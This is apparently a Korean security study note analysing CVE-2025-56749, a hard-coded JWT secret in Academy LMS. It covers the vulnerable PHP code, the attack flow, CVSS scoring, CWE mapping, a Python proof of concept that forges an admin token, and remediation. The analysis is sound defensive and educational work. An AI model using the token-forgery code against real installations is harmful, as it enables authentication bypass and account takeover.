Skip to main content

CVE-2025-56749

➡ Bypass

Summary

  • 제품 : Creativeitem Academy LMS
  • 영향 범위 : 6.14 이하 버전 (NVD) / 블로그기준은 5.13 이하 버전
  • 취약점 종류
    • CWE-798 – 하드코딩된 자격증명 사용 (feedly.com)
    • JWT 서명용 secret 값이 코드에 고정(default 값)
  • 결과
    • 공격자가 이 secret 을 알면
    • 임의의 사용자(심지어 관리자) 로 보이는 JWT 토큰을 만들어서
    • 로그인/인증 절차를 통째로 우회할 수 있음. (NVD)
  • CVSS(3.1) : 9.4 Critical (AV:N / AC:L / PR:N / UI:N / C:H / I:H / A:L) (NVD)

1. 취약점 사례 조사

a. 스택 & 아키텍쳐

  • 언어/프레임워크 : PHP 기반 웹앱 (LMS)
    • 웹앱 실제 환경에서 test 하려면 구매 필요하지만 공격 특성상 구현이 어렵지 않을 것 같음
      • 유사한 구조 + 동일한 취약점 + 동일한 PoC 결과
$secret = "hard-coded-secret";
$jwt = JWT::encode($payload, $secret);
  • 인증 구조
    • 로그인 성공 시 JWT 토큰 발급
    • 이후 API 요청에서 Authorization: Bearer <JWT> 형태로 활용
  • 토큰 처리 위치
    • 파일 : lms/application/libraries/TokenHandler.php

b. 취약 코드 구조

  • PHP 형식 소스 코드

    // From lms/application/libraries/TokenHandler.php:6
    class TokenHandler
    {
    //////////The function generate token/////////////
    PRIVATE $key = "academy-lms-xxxxxxxx";
    public function GenerateToken($data)
    {
    $jwt = JWT::encode($data, $this->key);
    return $jwt;
    }

    //////This function decode the token////////////////////
    public function DecodeToken($token)
    {
    $decoded = JWT::decode($token, $this->key, array('HS256'));
    $decodedData = (array) $decoded;
    return $decodedData;
    }
    }
  • private $key 값이 동일한 기본값을 가짐

  • secret을 환경변수나 설정파일이 아닌 소스 코드에 넣어둠

c. 공격 플로우

  • 공격자가 소스 코드 또는 해당 코드 조각(취약 코드)을 확보
  • 하드코딩된 secret 파악
  • 이 secret으로 임의 payload를 넣어 JWT 생성
  • 이 JWT를 Authorization 헤더 등에 넣어 요청
  • 서버는 “서명이 맞네?” 하고 해당 사용자로 인증 성공
    → 결과: Authentication Bypass + Account Takeover

2. 취약점 위험도 / 심각도 분석 (CVSS 스코어 기반)

a. 공식 CVSS v3.1

  • 점수 : 9.4 (Critical)
  • 벡터 : AV:N / AC:L / PR:N / UI:N / S:U / C:H / I:H / A:L

b. 각 요소 해석

  • Attack Vector (AV) : N(Network) → 인터넷 통해 직접 공격 가능 (로컬/물리 접근 불필요)
  • Attack Complexity (AC) : L(LOW) → secret 값만 알면 공격 가능/공격 난이도 낮음
  • Privileges Required (PR) : N(No Privileges Required) → 사전 로그인/계정 필요 없어 완전 무권한 공격자 가능

c. 결론

외부에서, 아무 권한 없는 공격자가, 사용자의 개입 없이,
로그인 시스템 전체를 우회하여 모든 계정을 탈취할 수 있는 수준의 취약점”

3. CVE → CWE 연결 분석

a. CVE-2025-56749 → CWE-798 : Use of Hard-coded Credentials

b. CWE-798(Use of Hard-coded Credentials) 연관성

  • secet key 는 인증체계의 비밀번호와 동급이라 판단
  • 이를 코드에 넣은 상태로 배포해두고, 모든 설치에 대하여 동일하개 사용해버림
  • 즉, 비밀번호나 암호화 키와 같은 하드코딩된 자격 증명이 포함되어 있음

c. Access Control 붕괴

  • 하드코딩된 secret 노출 → JWT 위조/변조 → 인증과 인가 둘다 붕죄됨
  • 추가 연관될 수 있는 CWE
    • CWE-284 : Improver Access Control / 인증 실패
    • CWE-287 : Improver Authentication / 인증 붕괴
  • NVD 는 공식적으로, 근본원인의 기준으로 CVE-798 만 매핑

4. PoC

a. 공개된 PoC 조사

  1. 소스 코드 또는 패키지 분석 : secret_key = "..."
  • TokenHandler.php에서 secret key가 하드코딩된 것을 발견
  • 모든 설치 환경에서 동일한 key 사용
  • 정상 JWT 구조 관찰
    • header: alg = HS256
    • payload: user_id, role_id, is_admin 등
    • 토큰 만료(exp) 필드 확인
  1. 악의적 payload 생성 : payload = {... is_admin=True}
    {
"user_id": 1,
"role_id": 1,
"is_admin": true,
"email": "[email protected]"
}
  1. 공격자가 직접 JWT 생성 / 서명 : jwt.encode(payload, secret_key)
forged_token = JWT.encode(
malicious_payload,
hardcoded_secret,
algorithm="HS256" )
  1. forged_token을 Authorization에 사용 : Authorization: Bearer <malicious_jwt>
  • Authorization: Bearer <fake_jwt>
  • 혹은 cookie/token 파라미터로 전달

1~4가 반영된 pseudo-code

import jwt   # PyJWT 같은 라이브러리
import datetime

# 1) 취약 LMS 코드에서 하드코딩된 secret
secret_key = "academy-lms-hardcoded-secret-value"

# 2) 공격자가 만들 payload (관리자 권한)
payload = {
"user_id": 1,
"role_id": 1,
"is_admin": True,
"email": "[email protected]",
"exp": datetime.datetime.utcnow() + datetime.timedelta(hours=5)
}

# 3) 공격자가 직접 JWT 생성
malicious_token = jwt.encode(payload, secret_key, algorithm="HS256")

print("Fake Admin Token:")
print(malicious_token)

# 4) 이 토큰을 HTTP 요청에 사용
# Authorization: Bearer <malicious_token>

b. 만약 실습 목적 PoC 설계한다면

5. 유사 사례 비교

이후에 공격 시나리오/스크립트 작성 시 활용할 수 있는 것으로 구성

a. CVE-2025-51606

  • 선택 사유 : 구조 동일, payload 구성, PoC 흐름, 방어책 비교
  • PoC 설계 가이드로 활용에 최적화

b. PoC 개념 흐름도

  1. 소스 코드 분석
  2. 정상 JWT 구조 관찰
  3. 악성 payload 생성
  4. 공격자가 JWT 재서명
  5. 요청 헤더에 삽입
  6. 서버 검증 단계
  7. 관리자 권한 획득

6. 방어 방법

a. 즉각적인 조치

  • JWT 비밀번호를 암호학적으로 안전한 난수 값으로 즉시 변경
  • 비밀을 변경하여 기존 JWT 토큰을 모두 무효화
  • 모든 사용자에게 재인증 강제 요구

b. 권장 구현

// Generate secure random secret
$jwt_secret = bin2hex(random_bytes(32)); // 64-character hex string

// Store in environment variables or secure config
// Never hardcode in source code

참고문헌

a. 블로그: “Critical JWT Secret Vulnerability in Academy LMS v5.13” (suryadina.com)

  • 핵심 포인트
    • TokenHandler.php 라는 라이브러리 파일 안에 private $key = "academy-lms-...."; 형태로 secret이 들어가 있음 (suryadina.com)
    • 이 key로 JWT::encode, JWT::decode를 다 처리 → 모든 설치에서 동일한 key 사용.
    • 글 안에 PoC(파이썬 + jwt 라이브러리) 예시도 포함돼 있음. (suryadina.com)

b. GitHub Advisory: GHSA-74pm-84jx-vv72

c. NVD

d. CNNVD / 중국 CVE 미러 – 기술 요약 및 PoC 요약